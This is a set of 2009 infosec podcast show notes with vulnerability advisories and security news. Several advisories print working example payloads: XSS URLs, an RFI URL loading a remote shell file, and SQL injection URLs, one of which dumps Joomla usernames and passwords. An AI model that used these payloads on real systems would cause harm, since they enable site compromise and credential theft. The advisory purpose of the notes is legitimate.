As we will be partying in the New Year we’ve decided not to do a Podcast today.
No Podcast Today
Episode 37 – Year End
InfoSec Podcast Episode 37 for December 30, 2009. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.
Sponsors: This podcast is sponsored in part by Webspeedway, your Virtual IT Department. When your systems are down, as a small and medium-sized businesses the resulting downtime can have a devastating impact.
Webspeedway specializes in providing proactive solutions to mitigate the risks of downtime, data loss, e-mail viruses and the many other threats to your business systems. Webspeedway provides the services of a Fortune 500 IT department, including 24 x 7 monitoring and on-site support, all at a fraction of the cost of even one employee.
Goto www.webspeedway.com today to learn about their cost-effective IT management solutions for your business.
Announcements:
Community SANS Atlanta 2010 Spring Schedule has been posted.
SEC-606: Drive and Data Recovery Forensics 2/9/10 to 2/13/10
SEC-502: Perimeter Protection In-Depth 2/22/10 to 2/27/10
AUD-507: Auditing Networks, Perimeters, and Systems 3/15/10 to 3/20/10
MGT-512: SANS Security Leadership Essentials For Managers with Knowledge Compression 4/15/10 to 4/21/10
SEC-566: 20 Critical Security Controls – In Depth 5/17/10 to 5/21/10
Go online to register by going to http://www.sans.org/atlanta-cs-events-2010/?utm_source=web-sans&utm_medium=banner&utm_content=Featured_Community_SANS_atlanta-2010-cs_events&utm_campaign=Community_SANS_Atlanta_2010&ref=52093
or call (301) 654-SANS(7267).
Vulnerabilities of Interest:
- RoseOnlineCMS is subject to a local file-include vulnerability because it fails to properly sanitize user-supplied input which could be exploited to obtain potentially sensitive information or to execute local scripts. RoseOnlineCMS 3 B1 is vulnerable; other versions may also be affected. Example URL: http://www.example.com/modules/admincp.php?admin=[LFI%00]
- phpAuction is subject to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data this could lead to execution of script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Example URLs: http://www.example.com/phpauction/register.php?TPL_name=1>”><ScRiPt%20%0d%0a>alert(213771818860)%3B</ScRiPt>&TPL_nick=indoushka&TPL_password=indoushka@hotmail.com&TPL_repeat_password=indoushka@hotmail.com&TPL_email=indoushka@hotmail.com and http://www.example.com/phpauction/register.php?TPL_name=indoushka&TPL_nick=1%3E%22%3E%3CScRiPt%20%0d%0a%3Ealert(213771818860)%3B%3C/ScRiPt%3E&TPL_password=indoushka@hotmail.com&TPL_repeat_password=indoushka@hotmail.com&TPL_email=indoushka@hotmail.com&TP
- The ‘com_adagency’ component for Joomla! is subject to a local file-include vulnerability because it fails to properly sanitize user-supplied input which could allow an attacker to potentially obtain sensitive information and execute local scripts in the context of the webserver process. Example URL: http://www.example.com/index.php?option=com_adagency&controller= [-LFI-]
- The Memory Book component for Joomla! is subject to an SQL-injection vulnerability and an arbitrary-file-upload vulnerability which could allow an attacker to compromise the application, upload files, execute code, access or modify data, or exploit other vulnerabilities in the underlying database. Memory Book 1.2 is vulnerable; other versions may also be affected. All you need is a browser to exploit this vulnerability.
- DrBenHur.com DBHcms is subject to a remote file-include vulnerability because it fails to properly sanitize user-supplied input which could allow an attacker to include an file containing malicious PHP code and execute it in the context of the webserver process. This may lead to a compromise of the application and the underlying system; other attacks are also possible. DBHcms 1.1.4 is vulnerable; other versions may also be affected. Example URL: http://www.example.com/index.php?dbhcms_core_dir=http://www.example.org/shell.txt%00
- UPDATE: Microsoft IIS security-bypass vulnerability was reported to have a vulnerability which could cause IIS to interpret unexpected files as CGI applications. For an exploit to succeed, IIS must be configured in a nondefault way and contrary to the vendor’s recommended best practices.
- The Q-Personel component for Joomla! is subject to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input which could be leveraged to execute script code in the browser of an unsuspecting user. Q-Personel 1.0.2(RC2) is vulnerable; other versions may be affected as well. Example URL: http://www.example.com/j15x/index.php?option=com_qpersonel&task=sirala&personel_sira=[XSS CODE]
- Stash is subject to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data which could be leveraged to execute script code in the browser of an unsuspecting user. Stash 1.0.3 is vulnerable; other versions may also be affected. To exploit these issues, an attacker get the victim into following a malicious URL.
- Calendar Express is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query which could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Example URL: http://www.example.com/calendarexpress2.1/year.php?catid=-4+union+select+0,convert(concat(USER(),0x3a,VERSION(),0x3a,DATABASE())+usi
News Items of Interest:
According to Adult Protective Services workers in this tough economy, reports have steadily increased of financial scams involving the elderly victims. They have some recommendations for those with elderly family members. First, they recommend that you really listen to elderly relatives when they talk about their lives. Are they mentioning new friends, people soliciting money at the front door for charities or repairmen you’ve never heard of before? Is there talk of a new will? Has your loved one given money to someone recently? Is the phone jangling constantly with calls from telemarketing companies?
Take a good look around the house. Is there food in the refrigerator? Is the cupboard well-stocked with food that hasn’t expired? Do labels indicate that medications have been prescribed by one doctor, or many? Are medications being taken properly?
Seniors who have recently lost a spouse, close friend or child are particularly likely to isolate themselves, often leading to a spiral of depression, and they can be especially vulnerable to crooks.
It’s not enough that your elderly loved one still goes to the supermarket and drives a car: Their executive function, or higher level of reasoning, can deteriorate with age.
If your older relatives use the Internet, make sure they’re not sitting ducks for cyber crime. Have they installed firewalls on their computers? Are their passwords easily hacked? Have they taken a computer security class?
News item 2: http://shmooslugs.pbworks.com/
Robert Fuller has a site for ShmooCon Slugs to help facilitate people getting together for rides to ShmooCon 2010. If you’re not familiar with what a slugging is the site has a reference to wikipedia. Which states “Slugging, also known as casual carpooling, is the practice of forming ad hoc, informal carpools for purposes of commuting, essentially a variation of ride-share commuting and hitchhiking. While the practice is most common and most publicized in the congested Washington, D.C. area (where it is primarily used by commuters who live in Northern Virginia), slugging is also used in San Francisco,Pittsburgh, and other U.S. cities. Sluggers gather at local businesses and at government-run locations, albeit not always with official sanction.”
News item 3:http://lists.shmoo.com/mailman/listinfo/shmoocon-roommates
There is also a mailing list is for attendees of Shmoocon to find roommates for Shmoocon. Shmoocon is not responsible for actions based on/around/near or anywhere near related to Shmoocon Roommates. Use at your own risk!
News item 4: http://reflextor.com/trac/a51
http://www.nytimes.com/2009/12/29/technology/29hack.html?_r=1&ref=technology
http://www.theregister.co.uk/2009/12/28/gsm_eavesdropping_breakthrough/
http://news.cnet.com/8301-1009_3-10422340-83.html?part=rss&subj=news&tag=2547-1_3-0-20
Computerworld has an interesting article on how simple it is for hackers to snoop 64-bit cipher called A5/1 encrypted GSM cellular calls. At the Chaos Communication Conference in Berlin, researcher Karsten Nohl said that he had compiled 2 terabytes worth of data — cracking tables that can be used as a kind of reverse phone-book to determine the encryption key used to secure a GSM (Global System for Mobile communications) telephone conversation or text message. While Nohl stopped short of releasing a GSM-cracking device — that would be illegal in many countries, including the U.S. — he said he divulged information that has been common knowledge in academic circles and made it “practically useable.”
According to Nohl. Using his tables, antennas, specialized software, and $30,000 worth of computing hardware to break the cipher, someone can crack the GSM encryption in real time and listen in on calls Let’s put this into perspective, there are about 3.5 billion GSM phones worldwide, making up about 80 percent of the mobile market, according to data from the GSM Alliance.
News item 5: http://www.nytimes.com/2009/12/26/opinion/26sat2.html?_r=2&adxnnl=1&adxnnlx=1261810873-sVGmBHkWduJvGowqvAkrFA
The Ohio Supreme Court has struck an important blow for privacy rights, ruling that the police need a warrant to search a cellphone. The court rightly recognized that cellphones today are a lot more than just telephones, that they hold a wealth of personal information and that the privacy interest in them is considerable. This was the first such ruling from a state supreme court. It is a model for other courts to follow.
The Ohio Supreme Court ruled this month, by a 4-to-3 vote, that the search violated the Fourth Amendment’s protection against unreasonable search and seizure. Rather than seeing a cellphone as a simple closed container, the majority noted that modern cellphones — especially ones that permit Internet access — are “capable of storing a wealth of digitized information.”
News item 6:http://www.wired.com/threatlevel/2009/12/montgomery-2
http://www.theregister.co.uk/2009/12/24/cia_montgomery/
A self-proclaimed software programmer who convinced the CIA that he had developed software capable of deciphering hidden messages in Al Jazeera broadcasts appears to have been responsible for an elevation in the national security level in late 2003, causing the grounding of international flights and the evacuation of the Metropolitan Museum of Art. Dennis Montgomery managed to convince a CIA Directorate of Science and Technology employee that his technology and the information it generated were credible. The information was passed to top government officials. Only later did it become evident that Montgomery had not shared his algorithms with anybody in the Government, nor was anyone in the government clear about how the information was obtained. Montgomery also reportedly received a no-bid US $30 million contract for “compression” and “automatic target recognition” technology that he claimed could analyze surveillance video from drones and identify weapons in people’s hands. A man who used to work with Montgomery says he helped fake about 40 demonstrations of the software.
News item 7: http://www.msnbc.msn.com/id/34611083/ns/technology_and_science-tech_and_gadgets/
Two New Jersey state legislators are sponsoring a bill that would impose hefty fines on people and/or organizations that send unsolicited text messages. Of particular concern to Sens. Joseph Vitale and Sean Kean are messages sent to the elderly and disabled and messages that cause people to exceed their monthly text message allotment, incurring additional costs from their providers. An unsolicited ad is defined as one that is sent without prior consent of the recipient that urges the recipient to rent or purchase services or merchandise. First time offenders would be fined up to US $10,000 and repeat offenders fined up to US $20,000. If the violator knew or should have known that the recipient was an elderly or disabled person, the maximum fine increases to US $30,000.
News item 8: http://www.theregister.co.uk/2009/12/24/ddos_attack_ultradns_december_09/
http://www.computerworld.com/s/article/9142681/DDoS_attack_on_DNS_hits_Amazon_and_others_briefly?source=rss_security
http://www.cnn.com/2009/TECH/12/24/cnet.ddos.attack/index.html
http://www.informationweek.com/news/storage/security/showArticle.jhtml?articleID=222100146
A distributed denial-of-service (DDoS) attack against the DNS provider for Amazon, Wal-Mart, the Gap and other shopping websites made those sites temporarily unavailable. The attack that was launched against Neustar on December 23 affected users in Northern California. Although the attack kept the sites unavailable for about an hour, last-minute holiday shoppers experienced frustrating delays. An UltraDNS spokesperson said that “queries may have taken some time to resolve and some may not have been completed, but there never was an outage.”
News item 9: http://www.washingtonpost.com/wp-dyn/content/article/2009/12/23/AR2009122302970_pf.html
A report from the Government Accountability Office (GAO) faults five government agencies, two congressional offices and the National Security Council for the leak of information about hundreds of US civilian nuclear facilities. The document was published on the Government Printing Office website in June and remained visible for about one day. The document was intended for the International Atomic Energy Agency (IAEA). Some of the confusion stemmed from the document’s classification with an IAEA term that is not recognized in the US. NSC did not provide specific instructions for handling the document once delivered to the White House clerk’s office.
News item 10: http://abcnews.go.com/Business/wireStory?id=9418695
A US federal judge has granted preliminary approval to a proposed settlement that would have Countrywide Financial Corp. provide free credit monitoring to as many as 17 million people whose personal information was compromised. The settlement also provides up to US $50,000 in reimbursement for each instance of identity fraud that can be traced to the breach and for which the victims were not reimbursed otherwise and in which they lost something of value. The suit has its origins in data theft committed by former Countrywide analyst Rene Rebollo Jr., who downloaded thousands of customers’ information every week for two years and sold it to Wahid Siddiqi. Siddiqi pleaded guilty to fraud earlier this month; Rebollo’s trial is scheduled to begin in
January.
News item 11: http://www.theregister.co.uk/2009/12/24/inmate_prison_hack/
http://www.computerworld.com/s/article/9142628/Inmate_gets_18_months_for_hacking_prison_computer
Francis G. Janosko has been sentenced to 18 months in prison for breaking into the Plymouth (Massachusetts) County Correctional Facility’s computer network, accessing information about more than 1,100 prison employees and making that information available to other inmates. Janosko pleaded guilty to damaging a protected computer in September. Janosko, who was an inmate at the time on unrelated charges, was using a machine that was supposed to be configured to allow access only to a legal research program, but he managed to exploit a vulnerability that allowed him access to the Internet and to the prison network.
News 12: http://www.darkreading.com/security/attacks/showArticle.jhtml?articleID=222003024&subSection=Attacks/breaches
http://www.scmagazineus.com/citibank-refutes-reported-hack-by-russian-gang/article/160124/
http://news.cnet.com/8301-1009_3-10420308-83.html
http://www.cbsnews.com/stories/2009/12/23/eveningnews/main6016135.shtml
http://online.wsj.com/article/SB126145280820801177.html?mod=rss_Today%27s_Most_Popular
While the FBI says it is investigating losses totaling tens of millions of dollars from Citibank accounts, Citibank parent company Citigroup denies reports that it has fallen prey to a cyber attack or that an investigation is underway. Citigroup did acknowledge that their systems have been probed but persisted in denying that an attack occurred and that money was stolen from customer accounts. The cyber thieves allegedly used the Black Energy botnet in their attacks. Sources have suggested that the Russian Business Network, a notorious cybercrime network, is behind the cyber heists. There is a report of one man being blocked from accessing his company’s Citibank account; although he alerted the bank immediately, a day later, more than US $1 million had been withdrawn without his authorization. About 80 percent of the funds were recovered, and Citibank covered the man’s losses for the rest.
News item 13:http://www.scmagazineuk.com/mbna-confirms-data-loss-after-laptop-containing-personal-details-of-thousands-of-customers-was-stolen-from-vendor/article/160217/
http://www.net-security.org/secworld.php?id=8656
http://www.lep.co.uk/news/Customer-credit-card-details-stolen.5929370.jp
MBNA is notifying thousands of customers that a laptop stolen from NCO Europe offices contains their credit card information. NCO Europe is a third-party contractor. Although the files do contain personal information, no PINs are believed to be included. While no fraudulent activity has been detected on the compromised accounts, MBNA is offering affected customers one year of credit monitoring service and is monitoring all compromised accounts.
Episode 36
InfoSec Podcast Episode 36 for December 29, 2009. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.
Sponsors: This podcast is sponsored in part by Webspeedway, your Virtual IT Department. When your systems are down, as a small and medium-sized businesses the resulting downtime can have a devastating impact.
Webspeedway specializes in providing proactive solutions to mitigate the risks of downtime, data loss, e-mail viruses and the many other threats to your business systems. Webspeedway provides the services of a Fortune 500 IT department, including 24 x 7 monitoring and on-site support, all at a fraction of the cost of even one employee.
Goto www.webspeedway.com today to learn about their cost-effective IT management solutions for your business.
Announcements:
Community SANS Atlanta 2010 Spring Schedule has been posted.
Community SANS Atlanta 2010 Spring Schedule has been posted.
SEC-606: Drive and Data Recovery Forensics 2/9/10 to 2/13/10
SEC-502: Perimeter Protection In-Depth 2/22/10 to 2/27/10
AUD-507: Auditing Networks, Perimeters, and Systems 3/15/10 to 3/20/10
MGT-512: SANS Security Leadership Essentials For Managers with Knowledge Compression 4/15/10 to 4/21/10
SEC-566: 20 Critical Security Controls – In Depth 5/17/10 to 5/21/10
Go online to register by going to http://www.sans.org or call (301) 654-SANS(7267).
Vulnerabilities of Interest:
- APC Switched Rack Power Distribution Units (PDU) is subject to a cross-site scripting vulnerability because the device’s web interface fails to properly sanitize user-supplied input. This may be leveraged to execute script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. APC Switched Rack PDU AP7932 is vulnerable; other version may also be affected.Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI. Example URL is available:http://www.example.com/Forms/login1?login_username=<ScRiPt>alert('hello');</ScRiPt>
- The Kleinanzeigenmarkt plugin for Woltlab Burning Board is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could result in a compromise of the application, accessing or modifying data, or exploiting the underlying database. All it takes is a browser to exploit this issue. Exploit code is available in the wild.
- Pragyan CMS is subject to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. This could result in compromising the application as well as the potentially the complete system. Pragyan CMS 2.6.4 is vulnerable; other versions may also be affected. Exploiting these issues is as simple as using a browser and the example URLs: http://www.example.com/cms/modules/search/search.php?moduleFolder=[Evil] and http://www.example.com/cms/modules/search/search.php?sourceFolder=[Evil].
- Jax Guestbook is subject to an authentication-bypass vulnerability which could allow an attacker to gain administrative access to the affected script and/or make configuration changes. This could potentially lead to further attacks. Jax Guestbook 3.50 is vulnerable; other versions may also be affected. Exploiting these issues is as simple as using a browser and the example URL: http://www.example.com/admin/guestbook/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0
- MyBB is subject to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input which may be leveraged to execute script code in the browser of a user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and to launch additional attacks. MyBB 1.4.10 is vulnerable; other versions may be affected as well. Exploiting this issue requires enticing an user to follow a malicious URL Example URLs are available: http://www.example.com/myps.php?action=donate&username=”/> and http://www.example.com/myps.php?action=donate&username=<IMG”"”>”> .
- The Automated Logout module for Drupal is subject to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. This may be leveraged to execute script code in the browser of a user in the context of the affected site. Automated Logout 6.x-1.6, 6.x-2.2 and prior versions are vulnerable.
- Wireshark is subject to multiple denial-of-service vulnerabilities and a buffer-overflow vulnerability which may allow an attacker to crash the application and deny service to legitimate users. Additionally, there is the possibility that these vulnerabilities could result in the execution of code in the context of users running the application. These issues affect Wireshark 0.9.0 through 1.2.4. Proof-of-concept capture files for the denial-of-service issues are available from the following locations: https://bugs.wireshark.org/bugzilla/attachment.cgi?id=4055 and http://www.wireshark.org/download/automated/captures/fuzz-2009-12-07-11141.pcap.
- The ‘com_schools’ component for Joomla! is subject to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data in the underlying database. Example URL code is available: http://www.example.com/path/index.php?option=com_schools&Itemid=89&schoolid=-53+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+jos_users–
- Microsoft IIS is prone to a security-bypass vulnerability that may result in IIS interpreting unexpected files as CGI applications. Attackers may be able to exploit this vulnerability to bypass intended security restrictions. Reports indicate that IIS 7.5 is not vulnerable to this issue; furthermore, it is currently unknown if IIS 7.0 is vulnerable.
News Items of Interest:
News item 1: http://www.businesswire.com/portal/site/home/permalink/?ndmViewId=news_view&newsId=20091226005004&newsLang=en
Amazon.com on Saturday released its annual post-Christmas statement on holiday sales and made one thing clear: the Kindle was king. Amazon.com 2009 Holiday Facts (www.amazon.com only):
Amazon.com on Saturday released its annual post-Christmas statement on holiday sales and made one thing clear: the Kindle was king. Amazon.com 2009 Holiday Facts (www.amazon.com only):
- Amazon customers purchased enough fruit cake to equal the weight of a 1967 Volkswagen Bug.
- Amazon customers bought enough gingerbread house kits that if stacked on top of each other would be as tall as the Sears Tower.
- If all the computers customers purchased this holiday were stacked one on top of the other, they would be more than twice as high as Mt. Everest.
- Amazon customers bought over 50 times more Light Therapy devices this holiday season than there are sunny days in Seattle the entire year.
- For the holiday time period alone, Amazon customers purchased enough shoot-and-share camcorders to supply 50 years’ worth of non-stop YouTube watching.
- Amazon customers bought enough Levi’s jeans to clothe everyone at the opening ceremony of the 2010 Olympics in Vancouver.
- Amazon customers purchased so many Blu-ray disc players that if you lined them up side to side, they would stretch for more than 27 miles.
- During the 2009 holiday season, Amazon customers bought enough 8 GB iPod touches to play 442 years of continuous music.
- In 2009, Amazon customers purchased enough heart rate monitor watches to put one on the wrist of everyone who finished the New York City marathons in 2008 and 2009.
- Amazon customers purchased enough Frustration-Free Package items to eliminate over 32,000 pounds of frustrating plastic materials, such as plastic clamshells.
- The last One-Day Prime order that was delivered in time for Christmas, was placed on Dec. 23 at 9:17 p.m. Pacific and shipped to Boca Raton, Florida for delivery on Dec. 24. The item was a pair of Yellow Gold 8-8.5mm Freshwater Cultured Pearl Stud Earrings.
- The last Local Express Delivery order that was delivered in time for Christmas, was placed by a Prime member and went to Seattle. It was a Kindle that was ordered at 1:43 p.m. on Christmas Eve and delivered at 4:57 p.m. that evening.
Amazon.com’s Hot Holiday Bestsellers (Nov. 15 through Dec. 19, based on units ordered):
- Electronics: Kindle Wireless Reading Device; Apple iPod touch 8 GB; and Garmin nuvi 260W 4.3-inch GPS
- Toys: Scrabble Slam Cards; The Settlers of Catan; and Scene It? Twilight Deluxe Edition
- Video Games and Hardware: Wii Fit Plus with Balance Board; New Super Mario Bros; and Call of Duty: Modern Warfare 2
News item 2: http://seclists.org/fulldisclosure/2009/Dec/438
As discussed last week, it appears that DECAF was disabled the authors at decafme.org. Well, it looks like some people over at soldierx.com have patched the binary to re-enable it and remove the phone home functionality. The files are at http://thepiratebay.org/torrent/5238072/DECAF-SOLDIERX.rar or http://www.multiupload.com/88TEOEYCSZ. Of the sites listed on the multiupload.com site, I had problems with both RapidShare and MegaUpload. The other sites seemed to work well.
News item 3: http://ontheflix.com/2009/12/25/celtics-ray-allen-twitter-account-gets-hacked-sends-naughty-tweets/
It seems that Celtics shooting guard Ray Allen’s Twitter account was hacked & apparently was sending some pretty naughty tweets. The Huffington Post is reporting that tweets such as: “I’m getting there. When you masturbate think about my tongue or your cl*t and switching back and forth from my d**k to my tongue.”
The tweets got deleted later on,and 14 minutes later, another tweet showed up stating an apology,and claiming he was not responsible. It read like this: “I’m sorry my acct was hacked into. I need to changey tweet handle.” Then he changed his Twitter name from @sugarray20 to @greenrayn20. Ray Allen said he may have to get off “Twitter” if this continues to happen. He tweeted, “i hope that it was amusing to people but im either gonna change my password or stop tweeting altogether.”
News item 4: http://www.wired.com/dangerroom/2009/12/not-just-drones-militants-can-snoop-on-most-us-warplanes/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+wired%2Fpolitics+%28Wired%3A+Politics%29
Wired Magazine is reporting that militants tapping into drones’ video feeds was just the start. Apparently, the U.S. military’s system for bringing overhead surveillance down to soldiers and Marines on the ground is also vulnerable to electronic interception. That means militants have the ability to see the video feeds from traditional fighters and bombers to unmanned spy planes. The problem is in the process of being addressed. But for now, an enormous security breach is even larger than previously thought.
So what is to blame? Apparently, the feeling is that early on units were “fielded so fast that it was done with an unencrypted signal. It could be both intercepted (e.g. hacked into) and jammed”. The question is why is it taking 10 years to fix the issue? You’ve got satellite providers in the L, C, S, Ku [satellite] bands that are sending data encrypted. So it’s not like this is new technology. What’s the big deal? Well, imagine trying to ensure that all units in a theater have the correct encryption/decryption keys necessary receive the data they need. This is really where the issue is. Do you trust the small units with these keys? How do you handle key rotation?
News item 5: http://blog.tenablesecurity.com/2009/12/top-10-nessus-plugins-for-2009.html
In 2009, Tenable released over 8,100 new plugins (and the year isn’t over yet!). These plugins have covered several different types of vulnerabilities, including web applications, embedded systems, local checks for operating systems and much more. Tenable polled it’s employees to find some of our favorite plugins released this year,and compiled the following list:
- DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution – This vulnerability allows remote attackers to inject commands via a flaw in the HTTP management web application on embedded systems running DD-WRT.
- Windows Remote Registry Enable/Disable – For remote authenticated checks to run on Windows systems, the remote registry service needs to be enabled. While this may not be a service you wish to run on all your systems, this plugin solves that problem by temporarily enabling and then disabling the remote registry service when the scan has completed.
- PCI Test Requirements – Back in April of 2009, I wrote a blog posted titled, “PCI DSS Auditing Linux, Apache, PHP & MySQL with Nessus 4″.
- USB Drives Enumeration – In 2009, over 218 million records fell into the wrong hands due to some form of breach (According to a report generated by DataLossDB). Some of those data loss incidents can be attributed to removable media such as USB thumb drives.
- Malware Infected Host - This Nessus plugin will seek out and report on these types of HTTP servers.
- Dell Remote Access Controller Default Password (calvin) for ‘root’ Account
- Conficker Detection (uncredentialed check) – Conficker was one of the major malware releases in 2009. This Nessus plugin could detect it on remote systems without using credentials.
- Backported Security Patches (HTTP) - This plugins look at Linux distribution banners for common FTP, HTTP and SSH services that seem as if they have not been patched, but are in fact most likely to have been fixed.
- Microsoft Windows SMB Shares Access – This plugin that keeps on giving! A simple plugin, but one of the most likely to fire during an internal audit where Windows machines are found. The shared drives could contain nothing or they could contain the entire HR database.
- Enhanced Web Application Testing Plugins – Not a plugin per-se, but bunch of enhanced web app tests that didn’t exist with all the new options before ‘09.
News item 6: http://www.wafb.com/Global/story.asp?S=11661499
A story about a 21-year old being caught on camera is probably nothing new. Stealing a decoy cameras is probably a little odd. Having a land owner had set up the decoy cameras to capture the theft of his digital game surveillance cameras is even more odd. Believe it or not, Dustin Archibald of Denham Springs was caught on camera stealing a camera with a “No Trespassing” sign visible in the background.
Archibald claims that he was not stealing the camera, but rather taking it so the landowner would not be able to hunt deer in the area. Unfortunately, with the property owner’s photographic evidence from his surveillance cameras, Archibald was identified right away and he consequentially turned himself into authorities.
The take-away here is that you never know what is watching a device that watches.
Episode 35 – Interview with Dave Shackleford
Tonight we are joined by a very special guest, Dave Shackleford. Dave is the Director, Risk & Compliance and Interim Director, Security Assessments at Sword & Shield Enterprise Security, Inc. (http://www.sses.net). Additionally, Dave is the SANS Institute GIAC technical director. Dave is the co-author of Hands-On Information Security from Course Technology as well as the “Managing Incident Response” chapter in the Course Technology book Readings and Cases in the Management of Information Security. Recently, Dave co-authored the first published course on virtualization security for the SANS Institute. Dave currently serves on the board of directors at the Technology Association of Georgia’s Information Security Society and the SANS Technology Institute. Author of the Shackfoo article titled “One for the n00bs“.
Merry Christmas
Merry Christmas from our family to yours.
